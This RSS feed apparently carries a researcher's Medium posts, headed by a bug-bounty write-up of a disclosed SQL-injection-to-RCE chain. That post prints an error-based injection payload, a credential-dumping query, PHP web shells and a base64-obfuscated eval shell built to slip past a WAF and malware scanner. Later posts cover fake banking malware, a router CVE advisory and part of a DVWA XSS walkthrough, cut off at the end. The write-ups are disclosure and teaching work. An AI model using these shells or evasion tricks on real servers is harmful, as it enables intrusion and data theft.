<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Adwaith S on Medium]]></title>
        <description><![CDATA[Stories by Adwaith S on Medium]]></description>
        <link>https://medium.com/@0xw41th?source=rss-58f5e3373c8b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*WVVf-W5jAGdjKgtx3tzpwQ.jpeg</url>
            <title>Stories by Adwaith S on Medium</title>
            <link>https://medium.com/@0xw41th?source=rss-58f5e3373c8b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:47:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xw41th/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From SQL Injection to Remote Code Execution: Following an Unexpected Attack Chain]]></title>
            <link>https://infosecwriteups.com/from-sql-injection-to-remote-code-execution-following-an-unexpected-attack-chain-4cf6eb22dbb5?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4cf6eb22dbb5</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 09:25:14 GMT</pubDate>
            <atom:updated>2026-08-26T05:02:50.351Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7w4rnQ3-ngHwi5WsSRf7Q.png" /></figure><p><strong>[ Disclaimer ]</strong></p><blockquote>This is a writeup of a vulnerability I discovered, responsibly disclosed, and confirmed as patched before publishing. The target’s domain, IP address, hostnames, file paths, credentials, and any secrets discovered during the assessment have been redacted or replaced with placeholders. Payloads and command output are shown as they actually happened, to illustrate the technique not to enable exploitation of any live system.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kHAyTN_AfGjWDu0MOed1cw.gif" /></figure><p>I wasn’t even looking for anything big that night. I was just going through a target’s pages out of habit, clicking around, checking parameters the way you do when you’ve done this enough times that it’s basically muscle memory. Then I noticed something a numeric <strong>id</strong> sitting right there in the URL path, not in a query string where everyone expects it:</p><p><strong>[ The full attack chain ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zUHdGLhWS3_EfNf8owYCBQ.png" /></figure><pre>GET /details/{id}/[REDACTED_ENDPOINT]/.../</pre><p>Most scanners don’t even bother touching path segments like this. So I tried it manually. Threw in an <strong>updatexml()</strong> error-based payload, the kind that makes <strong>MySQL</strong> choke on invalid <strong>XPATH</strong> and spit the error and whatever data you smuggled in right back at you:</p><pre>GET /details/3%20AND%20updatexml(1,concat(0x3a,(SELECT%20database())),1)/../../</pre><p>And there it was:</p><pre>XPATH syntax error: ‘:[REDACTED_DB_NAME]’</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-Sb9rwuCXWbf5Ud-cPUew.png" /></figure><p>That little jolt when the error message hands you exactly what you asked for. SQL injection, confirmed. That’s always the moment things get interesting, and also the moment I know I’m not sleeping on time tonight.</p><p>Since the injection was already leaking data back through errors, I didn’t stop at the database name. Viewing tables one by one, hand-modifying the query and sending it over every time, gets old fast so I wrote a small Python script to automate the dump instead. Turned out there were 30 tables sitting there. Most of them didn’t mean much to me. One did: <strong>tbl_user</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cM0lj2Z1tCkhRYDbhVxYQ.png" /></figure><p>I went straight for the accounts:</p><pre>SELECT concat(user_username, ‘:’, user_password)<br>FROM tbl_user<br>WHERE user_user_type LIKE ‘%admin%’ LIMIT 1</pre><p>Came back clean. Admin account, <strong>superadmin</strong> account, bcrypt hashes attached. I’m not putting the actual values here, but the point is one injectable parameter, and I had a straight line to the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kbp3azF4KerUKmAE0zTHDQ.png" /></figure><p>Before I even went looking for that login page, I had a different idea first: what if I could write a <strong>webshell</strong> directly through the injection itself, no admin panel needed at all? If that worked, I wouldn’t just have the site, I’d have the server. So I went down that road for a while.</p><p>Writing a file through SQL injection isn’t automatic there’s a specific set of conditions that all have to line up:</p><ul><li>The database user needs the <strong>FILE</strong> privilege. Without it, any write attempt just gets denied outright.</li><li><strong>secure_file_priv</strong> has to be empty. If it’s locked to a specific directory, you’re stuck writing there, which is usually nowhere near the web root.</li><li>The system user running <strong>MySQL</strong> needs actual write permissions on the target directory.</li><li>You need to know the real, absolute path you’re writing to guessing the web root blind rarely works.</li><li>Single quotes around the filename can’t be sanitized by the application, or the whole <strong>INTO OUTFILE</strong> syntax breaks.</li></ul><p>Assuming those line up, there are two commands that actually get you a file on disk:</p><p><strong>INTO OUTFILE</strong> writes query results out as text, one row per line:</p><pre>SELECT * FROM table_name INTO OUTFILE ‘/path/to/webshell.php’;</pre><p>Since it’s built for exporting data, people usually wrap it with <strong>FIELDS ENCLOSED BY</strong>or <strong>LINES TERMINATED BY</strong> to sneak the actual payload in around the exported rows but that formatting has a habit of mangling the code you’re trying to plant.</p><p><strong>INTO DUMPFILE</strong> is cleaner. It writes a single raw file with no formatting added, which makes it the more reliable choice if you’re trying to drop something like a PHP shell.</p><p>None of it mattered in the end, though. No FILE privilege, nothing. I tried a handful of angles anyway just to be sure, but the account behind the injection could read database name, version, table structure, all of it but it couldn’t write a single byte. So that path was closed. Back to the login page.</p><p>I had admin credentials sitting in my hand but no idea where the actual login page lived, so I brute-forced common admin paths until one hit an endpoint called manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*YwYsv2W-I8aY6_JFdrwGWA.png" /></figure><p>Visited it, and there it was, a login screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9Cmjp_iNBBw1j9xP2jKAQ.png" /></figure><p>At that point I’d already written one script to dump table data, so I wrote a second one to pull every admin credential cleanly rather than picking through query output by hand. Two accounts came back one labeled SuperAdmin, one labeled Admin. I logged in as <strong>SuperAdmin</strong>.</p><p>Logged into <strong>/manager/</strong> with what I pulled. It worked. Full admin panel media uploads, content, config, all of it sitting open in front of me.</p><p>Felt like the finish line. Wasn’t even close.</p><p>The admin panel had a gallery upload feature, so that’s where I went next. First shell, nothing clever:</p><pre>&lt;?php echo system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>Upload form only took <strong>PNG/JPG</strong>. Got past that without much trouble, file went up fine. Hit the path expecting output.</p><pre>HTTP/1.1 403 Forbidden</pre><p>Blank page. Nothing. That kind of silence after a successful upload usually means something’s actively sitting in front of the app and killing requests a <strong>WAF</strong>, most likely. So instead of throwing more payloads at it blind, I uploaded a plain <strong>phpinfo()</strong> probe first, because if I was going to be fighting something all night I at least wanted to know what it was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lHDeVCZo_iTi9DcR3BBObA.png" /></figure><p>What came back told me a lot:</p><pre><strong>Item</strong>                             <strong>Value</strong><br>---------------------------------------------------------------------------------------<br>Server Software                  LiteSpeed (X-LSCACHE enabled)<br>---------------------------------------------------------------------------------------<br>OS                               Linux (CloudLinux / RHEL 8 base)<br>---------------------------------------------------------------------------------------<br>PHP Version                      7.4.33 (cPanel EasyApache)<br>---------------------------------------------------------------------------------------<br>Disabled Functions               <em>exec</em>, <em>passthru</em>, <em>popen</em>, <em>shell_exec</em>, <br>                                 <em>show_source</em>, <em>system</em><br>---------------------------------------------------------------------------------------<br>Active Protection                Monarx Protect<br>---------------------------------------------------------------------------------------<br>allow_url_include                Off<br>---------------------------------------------------------------------------------------<br>enable_dl                        Off<br>---------------------------------------------------------------------------------------<br>expose_php                       Off<br>---------------------------------------------------------------------------------------</pre><p>All the easy stuff was locked. No <strong>system()</strong>, no <strong>exec()</strong>, no <strong>shell_exec()</strong>.</p><p>A malware scanner running at runtime, not just checking files on upload. No verbose errors leaking anything back to me either. Whoever set this box up actually knew what they were doing, which honestly made it more fun.</p><p><strong>eval()</strong> wasn’t on the disabled list though:</p><pre>&lt;?php<br>if (isset($_POST[&#39;code&#39;])) {<br>    @eval($_POST[&#39;code&#39;]);<br>}<br>?&gt;</pre><p>Tested it:</p><pre>curl -s -X POST &#39;https://[REDACTED-TARGET]/[REDACTED_UPLOAD_PATH]&#39; \<br>  --data &quot;code=echo helllo;&quot;</pre><p>Response :</p><pre>helllo</pre><p>Good, PHP execution works. But echoing strings isn’t the goal, I needed real shell output. <strong>proc_open()</strong> wasn’t blocked either, so I used it to spawn a process and read back what it printed:</p><pre>$descriptorspec = [0 =&gt; [&#39;pipe&#39;,&#39;r&#39;], 1 =&gt; [&#39;pipe&#39;,&#39;w&#39;], 2 =&gt; [&#39;pipe&#39;,&#39;err&#39;]];<br>$process = proc_open(&#39;id&#39;, $descriptorspec, $pipes);<br>if (is_resource($process)) {<br>    echo stream_get_contents($pipes[1]);<br>    fclose($pipes[1]);<br>    proc_close($process);<br>}</pre><p>Response:</p><pre>uid=[REDACTED](hosting-user) gid=[REDACTED] groups=[REDACTED]</pre><p>There it was.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*adLUPDMBLc75XbkqNjcNNA.png" /></figure><p>Command execution, as the hosting account’s actual system user. I remember just staring at that line for a second.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dNExL8RR7o6bnWe1KwTRkQ.gif" /></figure><p>Then I ran the next command. ls. Nothing. No error, no output, dead silence same as the first shell that got <strong>blocked</strong>.</p><p>I renamed the file, uploaded a fresh copy, tried again. Same thing. One command worked. The second one didn’t. Every time.</p><p>That pattern is what got me thinking. If it were just a static scan catching the file on upload, the first command wouldn’t have worked at all it would’ve been blocked immediately, like my <strong>system()</strong> shell was. But this one let exactly one execution through and then killed it. That’s not “this file looks bad,” that’s “this file is behaving badly, shut it down.” Behavioral detection, watching what the file does after it lands, not just what it contains when it lands.</p><p><strong>[ WAF evasion ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uBgwXWgqa_0vx17KVZ1Pbg.png" /></figure><p>Once I understood that, the fix became obvious-ish.</p><p>My <strong>eval($_POST[&#39;code&#39;])</strong> shell had the word code sitting right next to <strong>eval()</strong>. That’s a giveaway, static or behavioral, doesn’t matter it’s a pattern, and patterns get flagged. So I stopped writing anything recognizable into the file at all:</p><pre>&lt;?php<br>$p = base64_decode(&#39;cGF5bG9hZA==&#39;);<br>if (isset($_POST[$p])) {<br>    @eval(base64_decode($_POST[$p]));<br>}<br>?&gt;</pre><p>The parameter name only exists decoded, at runtime. Never sits in the file as plain text. And whatever command I send goes over as <strong>base64</strong> too, so there’s nothing that looks like <strong>eval($_POST[...])</strong> anywhere in the request either.</p><p>Uploaded it. Ran a command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bMiG-mOFy5jgoNmXu8-FA.png" /></figure><p>Worked. Ran another. Worked. Kept going five, six commands in a row, no interruption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*2EOLDMCAG8XIcogTarQlaw.gif" /></figure><p>First time all night something just kept working.</p><p>By that point I was tired enough that typing <strong>base64 </strong>by hand for every single command felt unbearable, so I threw together a small script to handle the encoding for me and let me just type normal commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cU05SNZczRyKL6yrUe2oUg.png" /></figure><p>Small thing, but it’s the difference between grinding through three nights and actually being able to think straight while working.</p><p>With stable access, I looked around carefully, not digging through everything I could reach, just enough to understand what was actually at risk. And that’s where it stopped being “<strong>one site has a bug</strong>” and turned into something bigger.<strong> </strong>Server config exposed credentials and API keys that had nothing to do with the site I was testing they belonged to completely unrelated websites sitting on the same shared server. Different database creds, cloud storage keys, service keys, none of it scoped to my target at all.</p><p>I didn’t touch any of it beyond confirming it was there. Wasn’t what this was about. But it’s a strange feeling, realizing a bug in one site could’ve put a stranger’s entire project at risk without them ever knowing.</p><p>Reported everything after that. The SQLi and the upload flaw both got patched. This writeup only went up once that was confirmed.</p><p>A few things I keep thinking about from this one:</p><p><strong>disable_functions</strong> stops the obvious stuff, but <strong>proc_open()</strong> and <strong>eval()</strong> get left open constantly because they have legitimate uses too hardening that only blocks function names by name has a ceiling. Same with <strong>WAFs</strong> and malware scanners built on pattern matching encoding your way around a known signature is a well-worn trick precisely because pattern matching can only catch what it already recognizes as bad. And the shared hosting part still bugs me a little one vulnerable site, and suddenly every other tenant on that box is exposed too, no matter how careful they were with their own code.</p><p>On the research side fingerprinting before throwing payloads blind saved me a lot of wasted effort. And when something works exactly once and then goes quiet, that’s telling you something specific about how it’s watching you. Worth sitting with that for a minute instead of just brute-forcing past it.</p><p><em>Mostly though, this one was just stubbornness and a lot of coffee. Three nights of it. That’s most of this job, honestly.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4cf6eb22dbb5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-sql-injection-to-remote-code-execution-following-an-unexpected-attack-chain-4cf6eb22dbb5">From SQL Injection to Remote Code Execution: Following an Unexpected Attack Chain</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What I Found While Analyzing a Fake Banking App]]></title>
            <link>https://infosecwriteups.com/what-i-found-while-analyzing-a-fake-banking-app-7b495558c7ff?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b495558c7ff</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[android-malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 16:57:31 GMT</pubDate>
            <atom:updated>2026-02-10T18:10:20.553Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4agl4ezk74Xx5d5iLmN-Nw.jpeg" /></figure><blockquote>An awareness-based analysis of a real Android malware incident</blockquote><h3><strong>Introduction</strong></h3><p>Mobile banking has become an essential part of everyday life. From checking balances to making instant payments, most financial activities now happen through smartphones. Unfortunately, this convenience has also created an opportunity for cybercriminals.</p><p>Recently, I analyzed a fake Android application that posed as a banking rewards app. At first glance, it looked genuine clean UI, familiar language, and promises of cashback or rewards. However, after closer inspection, it became clear that the app was designed for one purpose: stealing financial information and spreading silently to other users.</p><p>This write-up focuses on how the app behaves, how it spreads, and why many users don’t realize they are infected, without exposing sensitive technical details.</p><p><strong>How I Came Across the App?</strong></p><p>I did not download this app from an advertisement or random website.</p><p>I received it from a friend whose device had already been compromised.</p><p>The link arrived through a normal messaging conversation. Because it came from someone I trusted, there was no immediate reason to doubt it. This is a key reason why this type of malware spreads so effectively it uses trust between people instead of obvious scams.</p><p><strong>How the Infection Starts?</strong></p><p>The attack relies heavily on <strong>social engineering</strong>.</p><p>Victims are commonly targeted through:</p><ul><li>Messaging apps (direct messages or group chats)</li><li>Reward or cashback notifications</li><li>Links shared by known contacts</li></ul><p>Once installed, the app asks users to:</p><ul><li>Verify their account</li><li>Activate rewards</li><li>Complete a small “processing” or confirmation step</li></ul><p>The flow feels normal and familiar, which lowers suspicion and encourages users to proceed.</p><h3><strong>A Silent and Stealthy Behavior!</strong></h3><p>From the user’s perspective, nothing appears suspicious at first.</p><p>The app may request an update or display a system-like screen that looks routine. There are no warning pop-ups, no visible alerts, and no immediate signs of compromise.</p><p>After this stage, the infected device may begin sharing the same malicious app link with the victim’s contacts and group chats automatically. Since the messages come from a known person, others are more likely to click and install the app as well.</p><p>This creates a chain-style spread, allowing the malware to move quickly through social circles.</p><h4>Why Permissions Matter</h4><p>One of the most dangerous aspects of this app is its abuse of Android permissions.</p><p>The app requests permissions that many users approve without much thought, including:</p><ul><li>Accessibility access</li><li>SMS access</li><li>Phone-related permissions</li><li>Automatic start after reboot</li></ul><p>While these permissions may seem harmless individually, together they give the app extensive control over the device, allowing it to monitor and interfere with critical activities in the background.</p><h4><strong>Impact on OTPs and Verification</strong></h4><p>Once permissions are granted, the app can interfere with common security mechanisms.</p><p>SMS messages containing one-time passwords (OTPs) can be intercepted, and verification calls may be redirected without the user realizing it. This weakens traditional two-factor authentication and allows fraudulent activity to happen quietly.</p><h4>Fake Screens and Data Theft</h4><p>To steal sensitive information, the app displays fake screens that closely resemble real banking interfaces.</p><p>Victims may unknowingly enter:</p><ul><li>Account or mobile numbers</li><li>Debit or credit card details</li><li>CVV or ATM PINs</li></ul><p>In many cases, the real banking app is never involved. Everything happens through a convincing fake interface layered over the phone screen.</p><h4>Why Victims Notice Too Late</h4><p>This malware is designed to stay hidden.</p><p>There are no crashes or obvious performance issues. Any unusual behavior can easily be dismissed as a temporary network or app issue. By the time victims notice unauthorized transactions, the damage has often already occurred.</p><h4>Responsible Disclosure</h4><p>This analysis was conducted strictly for educational and defensive purposes.</p><ul><li>No real users were exploited</li><li>No live infrastructure is disclosed</li><li>Sensitive indicators are intentionally omitted</li><li>The app was responsibly reported through appropriate channels</li></ul><h4>How Users Can Protect Themselves</h4><ul><li>Install apps only from official app stores</li><li>Be cautious of links even from known contacts</li><li>Review permissions carefully, especially Accessibility access</li><li>Never enter OTPs or card details into unknown apps</li><li>Disable accessibility services for untrusted apps</li></ul><h4>For Security Professionals</h4><p>A separate redacted technical analysis based on reverse engineering and behavioral study has been published on GitHub.</p><p>Technical write-up available on GitHub:</p><p><a href="https://github.com/0xW41th/android-banking-malware-analysis/">GitHub - 0xW41th/android-banking-malware-analysis</a></p><h4>Final Thoughts</h4><p>Fake banking apps don’t rely on advanced exploits they rely on trust and urgency.</p><p>If something feels rushed, too convenient, or asks for excessive permissions, it’s worth stopping and questioning it.</p><blockquote>Awareness remains the strongest defense!!!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b495558c7ff" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/what-i-found-while-analyzing-a-fake-banking-app-7b495558c7ff">What I Found While Analyzing a Fake Banking App</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First CVE: CVE-2025–65883 — Remote Code Execution in a Genexis Router]]></title>
            <link>https://0xw41th.medium.com/my-first-cve-cve-2025-65883-remote-code-execution-in-a-genexis-router-0c35749a99bd?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c35749a99bd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[rce]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Thu, 04 Dec 2025 18:51:14 GMT</pubDate>
            <atom:updated>2025-12-05T13:24:08.282Z</atom:updated>
            <content:encoded><![CDATA[<h3>My First CVE: CVE-2025–65883 — Remote Code Execution in a Genexis Router</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LfT2s84xlDPLfE3Iqtf6pA.jpeg" /></figure><pre>CVE ID: CVE-2025-65883  <br>Vendor: Genexis  <br>Product: Platinum P4410  <br>Firmware: P4410-V2-1.41  <br>Impact: Remote Code Execution (RCE) with root privileges  <br>Severity: High  <br>Attack Vector: Local network (LAN)  <br>Discovered by: Adwaith S  <br>Status: Public disclosure</pre><p><strong>References:</strong></p><pre>CVE Record:<br>https://www.cve.org/CVERecord?id=CVE-2025-65883<br><br>NVD:<br>https://nvd.nist.gov/vuln/detail/CVE-2025-65883<br><br>GitHub Advisory:<br>https://github.com/advisories/GHSA-4w9h-qq4c-69wp</pre><p><strong>Note:</strong></p><pre>This disclosure excludes exploit details.<br><br>PoC was shared privately with the vendor and MITRE.<br><br>Content published for educational and defensive awareness only.</pre><p><strong>Summary:</strong></p><p>A vulnerability has been identified in the <strong>Genexis Platinum P4410</strong> router (<strong>Firmware P4410-V2–1.41</strong>) that allows a local network attacker to achieve Remote Code Execution (<strong>RCE</strong>) with root privileges.</p><p>The issue occurs due to improper session invalidation after administrator logout. When an administrator logs out, the session token remains valid. An attacker on the local network can reuse this stale token to send crafted requests via the router’s diagnostic endpoint, resulting in command execution as root.</p><p>This vulnerability has been officially assigned:</p><pre>CVE-2025–65883</pre><p><strong>Technical Overview (High Level):</strong></p><p>The router fails to invalidate the administrator session token on logout.<br>Although the interface appears logged out, the session remains active internally.</p><p>An attacker connected to the same LAN can reuse the session and trigger execution through the router’s diagnostic interface.</p><p><strong>This results in:</strong></p><pre>• Command execution with root privileges<br><br>• Full device compromise<br><br>• Ability to pivot inside the local network</pre><p><strong>Importantly:</strong></p><pre>• The vulnerability does NOT survive a reboot<br><br>• The exploit is only valid if an admin previously logged in and logged out<br><br>• No external or WAN exposure was observed</pre><h3>ROOT CAUSE<strong>:</strong></h3><p><strong>The vulnerability appears to be caused by:</strong></p><pre><br>• Improper session lifecycle handling<br><br>• Stale token reuse<br><br>• Missing session invalidation logic<br><br>• Insufficient authentication verification on diagnostic endpoints</pre><p><strong>Associated weakness categories:</strong></p><pre>• CWE-384 (Session Fixation / Improper Session Management)<br><br>• CWE-77 (Command Injection)</pre><h3>IMPACT<strong>:</strong></h3><p><strong>If successfully exploited:</strong></p><pre>• The attacker obtains root access<br><br>• The router can be fully controlled<br><br>• Network traffic can be intercepted<br><br>• Persistent compromise may be achieved until reboot<br><br>• Because routers sit at the core of a network, impact severity is high.</pre><p><strong>Disclosure Timeline:</strong></p><pre>  2025-10-04 - Vulnerability discovered   <br>  2025-10-07 - Vendor disclosure attempt  <br>  2025-11-26 - CVE assigned by MITRE      <br>  2025-11-26 - Public advisory published </pre><p><strong>Responsible Disclosure:</strong></p><blockquote>No exploitation details, payloads, or PoC code are published in this article.</blockquote><p><strong>All details were reported privately before public disclosure.<br>The goal is awareness, not exploitation.</strong></p><p><strong>CVE Reference:</strong></p><pre>CVE ID: CVE-2025–65883<br>Assigned by: MITRE CVE Program<br>Discoverer: Adwaith S</pre><p><strong>Final Thoughts:</strong></p><p><em>This was </em><strong><em>my first CVE</em></strong><em>.</em></p><p><em>More important than the vulnerability itself is the lesson:</em></p><p><em>Every system can fail.<br>Every researcher can succeed.</em></p><p><em>Don’t wait “until you’re good enough.”<br>Start now.</em></p><blockquote>If you’re learning cybersecurity or vulnerability research:</blockquote><p><strong>• Test responsibly<br>• Disclose ethically<br>• Document professionally<br>• Never weaponize knowledge</strong></p><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c35749a99bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS → DVWA Walkthrough: Learn How User Input Can Trigger a Script Execution]]></title>
            <link>https://infosecwriteups.com/reflected-xss-dvwa-walkthrough-learn-how-user-input-can-trigger-a-script-execution-3c9f9f26962b?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c9f9f26962b</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 18:27:13 GMT</pubDate>
            <atom:updated>2025-11-15T15:07:40.153Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_bZ-X0u6vnwHT_9g8EPeQ.jpeg" /></figure><p>🕵Hey! I’m <strong>Adwaith</strong>, an aspiring offensive security enthusiast, and I’m excited to walk you through the <strong>Reflected XSS</strong> lab in <strong>DVWA</strong>, where we’ll see how a simple input field can lead to script execution.</p><blockquote>Click the link below, deploy DVWA, and join me on this walkthrough journey.</blockquote><p><a href="https://hub.docker.com/r/vulnerables/web-dvwa">https://hub.docker.com/r/vulnerables/web-dvwa</a></p><p>Before we jump into <strong>Reflected XSS</strong>, if you’re new to this, you should know a few basic web concepts. Don’t worry, it’s easy! Just look at the section below and you’ll get it instantly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNkzJ-WJj3bqu2zm6Dze3g.png" /></figure><p>A website is built from three layers, and we interact with all of them.</p><pre><strong>HTML</strong> (the page structure - headings, paragraphs, inputs)<br><strong>CSS</strong> (visual style - colors, fonts, layout)<br><strong>JavaScript</strong> (behavior — what runs after the page loads)</pre><p>Only three layers? You might be wondering what nonsense I’m talking about. I was talking about the front end, but do we also need to discuss the backend?<br>Relax I’m not here to teach full-stack web development. This is just for basic understanding. If you’re already a web developer, you can skip this part. It’s meant for beginners.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*j4-YeIz5ZI5_P83Bn2CM1w.gif" /><figcaption>[ GIF sourced from gifs9z. Rights belong to the creator. ]</figcaption></figure><p>Now listen! <strong>JavaScript</strong> can change a webpage by reading and updating its elements. When a site takes user-provided text (like a <strong>name</strong>, a <strong>search query</strong>, or a <strong>URL parameter</strong>) and inserts it directly into the HTML without cleaning or validating it, the browser will treat that text as code and execute it.<br>That’s the root of <strong>XSS</strong>.</p><pre> <strong>bad input</strong> + <strong>trusted browser</strong> = <strong>attacker-script execution</strong>.</pre><p>Don’t worry <strong>DVWA</strong> is local and safe while you try this. So let’s understand the basics. Look at the HTML code below:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body&gt;<br><br>&lt;h2&gt;My First JavaScript&lt;/h2&gt;<br><br>&lt;button type=&quot;button&quot;<br>onclick=&quot;document.getElementById(&#39;demo&#39;).innerHTML = Date()&quot;&gt;<br><br>Click me to display Date and Time.&lt;/button&gt;<br><br>&lt;p id=&quot;demo&quot;&gt;&lt;/p&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>What do you think these are?<br>Okay, first of all, if you come from a computer science background, you’ve definitely learned about HTML, CSS, and JavaScript even if you’ve forgotten them. And if you’re from another field, don’t worry. I’ve got you covered!</p><p><strong>HTML, CSS, JAVASCRIPT</strong></p><p><a href="https://www.w3schools.com/html/">W3Schools.com</a></p><p>Why am I giving this link? Because if I start explaining HTML, tags, and everything here, the write-up will become too long. W3Schools is a beginner-friendly platform where you can learn HTML easily and not just HTML, it also has many other beginner-friendly coding tutorials.<br>And listen, you don’t need to understand everything. Just learn some basic HTML tags and the page structure (like the <strong>&lt;body&gt;</strong> ). That’s it. It won’t take much time!</p><p><strong>Line-by-line explanation</strong>:</p><p><strong>Html</strong></p><pre>&lt;!DOCTYPE html&gt;               -&gt; Tells the browser this is an HTML5 page.<br>&lt;html&gt;                        -&gt; Root element of the webpage. Everything visible goes inside this.<br>&lt;body&gt;                        -&gt; The part of the page that the user sees (content, buttons, text).<br>&lt;h2&gt;My First JavaScript&lt;/h2&gt;  -&gt; A level-2 heading (big, bold title). This just shows the page title &quot;My First JavaScript&quot;.<br><br>&lt;/body&gt;                       -&gt; Closing tags for the body and html<br>&lt;/html&gt;                       </pre><p><strong>JavaScript</strong></p><pre>&lt;button type=&quot;button&quot; onclick=&quot;document.getElementById(&#39;demo&#39;).innerHTML = Date()&quot;&gt;<br>Click me to display Date and Time.&lt;/button&gt;</pre><p><strong>Line-by-line explanation</strong>:</p><pre>&lt;button type=&quot;button&quot;&gt;...&lt;/button&gt;   -&gt; A clickable button on the page.<br><br>onclick=&quot;...&quot;                        -&gt; This is an inline event handler: when the button is clicked, the code inside the quotes runs.<br><br>document.getElementById(&#39;demo&#39;)      -&gt; JavaScript asks the page for the element with the id demo (below).<br><br>.innerHTML = Date()                  -&gt; This sets that element&#39;s HTML content to the value returned by Date() (the current date/time).<br><br>&lt;p id=&quot;demo&quot;&gt;&lt;/p&gt;                    -&gt; &lt;p&gt; A paragraph element, id=&quot;demo&quot; Gives this paragraph a name so JavaScript can find it (getElementById(&#39;demo&#39;)). It starts empty; clicking the button fills it with the current date/time.</pre><p>This page shows how HTML and JavaScript work together, HTML defines the structure (<strong>heading</strong>, <strong>button</strong>, <strong>paragraph</strong>) and JavaScript runs when you click the button to change the page.</p><blockquote><strong><em>Date()</em></strong><em> returns the current date and time. </em><strong><em>innerHTML</em></strong><em> writes that value into the paragraph with </em><strong><em>id = “demo”</em></strong><em> so the user sees it.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*WalXoHQwYbncXR8oBcvRTg.png" /><figcaption>[ output ]</figcaption></figure><p>We talked about HTML and JavaScript, and I hope you understood the basics. That’s enough for now well, technically it’s not enough, but don’t worry. I was mainly referring to JavaScript. There are many different concepts in JavaScript, and you’ll learn them later, so I’m not going to make things messy here. Alright, let’s get back to 